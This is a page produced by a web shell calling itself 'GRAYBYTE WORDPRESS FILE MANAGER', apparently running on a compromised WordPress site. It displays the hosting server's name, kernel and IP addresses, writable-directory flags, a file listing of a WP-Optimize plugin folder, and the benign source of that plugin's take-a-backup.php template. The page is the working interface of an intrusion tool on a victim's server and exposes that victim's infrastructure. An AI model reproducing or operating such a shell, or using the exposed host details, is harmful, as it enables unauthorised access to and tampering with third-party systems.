✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.105
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/wp-optimize/templates//take-a-backup.php
<?php

if (!defined('ABSPATH')) die('No direct access allowed');

global $wpo_backup_initialized, $wpo_take_backup_checkbox_id;

$updraftplus_admin = empty($GLOBALS['updraftplus_admin']) ? null : $GLOBALS['updraftplus_admin'];
$updraftplus = empty($GLOBALS['updraftplus']) ? null : $GLOBALS['updraftplus'];

// Check if UpdraftPlus plugin status.
$updraftplus_status = $this->is_installed('UpdraftPlus - Backup/Restore');
$check_version = false;

// If UpdraftPlus Admin exists along with Method and active, then call the update modal.
if (is_a($updraftplus_admin, 'UpdraftPlus_Admin') && is_callable(array($updraftplus_admin, 'add_backup_scaffolding'))) {
	if (!$wpo_backup_initialized) {
		$updraftplus_admin->add_backup_scaffolding(esc_html__('Backup before running optimizations', 'wp-optimize'), array($updraftplus_admin, 'backupnow_modal_contents'));
	}
	$wpo_backup_initialized = true;
	$check_version = true;
} else {

	// When pulling this template from UDC-RPC it gives $updraftplus_admin as null and the above condition
	// will always result into $disabled_backup = 'disabled', making the backup checkbox on UDC unclickable,
	// this makes sense since we're not logging directly into the admin dashboard but through UDC. Since,
	// we're giving the user an option to make a backup using UDP before optimizing on UDC, therefore we
	// need a way to enable the checkbox (making it clickable), giving control to the user whether he or she
	// needs to backup before running the optimization process.
	//
	// Having to check whether UDP is installed and active is enough for UDC to run its local backup process
	// if the user wishes to backup before optimizing. Of course, when $updraftplus_admin is null we assumed
	// that the request is coming from UDC-RPC.
	if (null === $updraftplus_admin && true === $updraftplus_status['installed'] && true === $updraftplus_status['active']) {
		$disabled_backup = '';
		$check_version = true;

	} else {
		// Disabled UpdraftPlus.
		$disabled_backup = 'disabled';
	}
}

if (true === $check_version) {
	// Check version.
	if (version_compare($updraftplus->version, '1.12.33', '<')) {
		$disabled_backup = 'disabled';
		$updraftplus_version_check = true;
	} else {
		$disabled_backup = '';
		$updraftplus_version_check = false;
	}
}

$label_text = (isset($label) && '' !== $label) ? $label : __('Take a backup with UpdraftPlus before doing this', 'wp-optimize');

if (!isset($default_checkbox_value)) {
	$default_checkbox_value = 'false';
}

$option_value = $options->get_option($checkbox_name, $default_checkbox_value);

$is_checked = ('true' === $option_value);

?>
<p class="wpo-take-a-backup">
	<input class="enable-auto-backup" name="<?php echo esc_attr($checkbox_name); ?>" id="<?php echo esc_attr($checkbox_name); ?>" type="checkbox" value="true" <?php checked($is_checked);?> <?php echo esc_attr($disabled_backup); ?> />
	<label for="<?php echo esc_attr($checkbox_name); ?>"> <?php echo esc_html($label_text); ?> </label>

	<?php
	// UpdraftPlus is not installed.
	if ('disabled' === $disabled_backup && !$updraftplus_status['installed']) {
		echo '<small><a href="'.esc_url(wp_nonce_url(self_admin_url('update.php?action=install-plugin&plugin=updraftplus'), 'install-plugin_updraftplus')).'"> '.esc_html__('Follow this link to install UpdraftPlus, to take a backup before optimization', 'wp-optimize').' </a></small>';
	} else {
		// Build activate url.
		$activate_url = add_query_arg(array(
			'_wpnonce'    => wp_create_nonce('activate-plugin_updraftplus/updraftplus.php'),
			'action'      => 'activate',
			'plugin'      => 'updraftplus/updraftplus.php'
		), network_admin_url('plugins.php'));

		// If is network admin then add to link network activation.
		if (is_network_admin()) {
			$activate_url = add_query_arg(array('networkwide' => 1), $activate_url);
		}

		// Check updraftplus version first.
		if (!empty($updraftplus_version_check)) {
			echo '<small>'.esc_html__('UpdraftPlus needs to be updated to 1.12.33 or higher in order to backup the database before optimization.', 'wp-optimize').' <a href="'.esc_url(admin_url('update-core.php')).'">'.esc_html__('Please update UpdraftPlus to the latest version.', 'wp-optimize').'</a></small>';
		} else {
			if ($updraftplus_status['installed'] && !$updraftplus_status['active']) {
				echo '<small><a href="'.esc_url($activate_url).'"> '.esc_html__('UpdraftPlus is installed but currently not active.', 'wp-optimize').' '.esc_html__('Follow this link to activate UpdraftPlus, to take a backup before optimization.', 'wp-optimize') .'</a></small>';
			}
		}
	}
	?>
</p>


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Jun 2026 6.38 AM
tdhomesa / tdhomesa
0755
cache
--
5 Jun 2026 10.08 AM
tdhomesa / tdhomesa
0755
database
--
5 Jun 2026 10.08 AM
tdhomesa / tdhomesa
0755
images
--
5 Jun 2026 10.08 AM
tdhomesa / tdhomesa
0755
minify
--
5 Jun 2026 10.08 AM
tdhomesa / tdhomesa
0755
notices
--
5 Jun 2026 10.08 AM
tdhomesa / tdhomesa
0755
performance
--
5 Jun 2026 10.08 AM
tdhomesa / tdhomesa
0755
settings
--
5 Jun 2026 10.08 AM
tdhomesa / tdhomesa
0755
status
--
5 Jun 2026 10.08 AM
tdhomesa / tdhomesa
0755
admin-medialibrary-smush-column.php
2.031 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
admin-metabox-smush-settings.php
3.9 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
admin-metabox-smush.php
3.521 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
admin-page-header-tabs.php
2.396 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
admin-page-header.php
2.794 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
handlebars-compiled-4-5-5.js
13.178 KB
5 Jun 2026 10.44 AM
tdhomesa / tdhomesa
0644
info-message.php
0.157 KB
16 Jul 2025 6.37 PM
tdhomesa / tdhomesa
0644
modal.php
0.416 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
pages-menu.php
2.306 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
take-a-backup.php
4.48 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF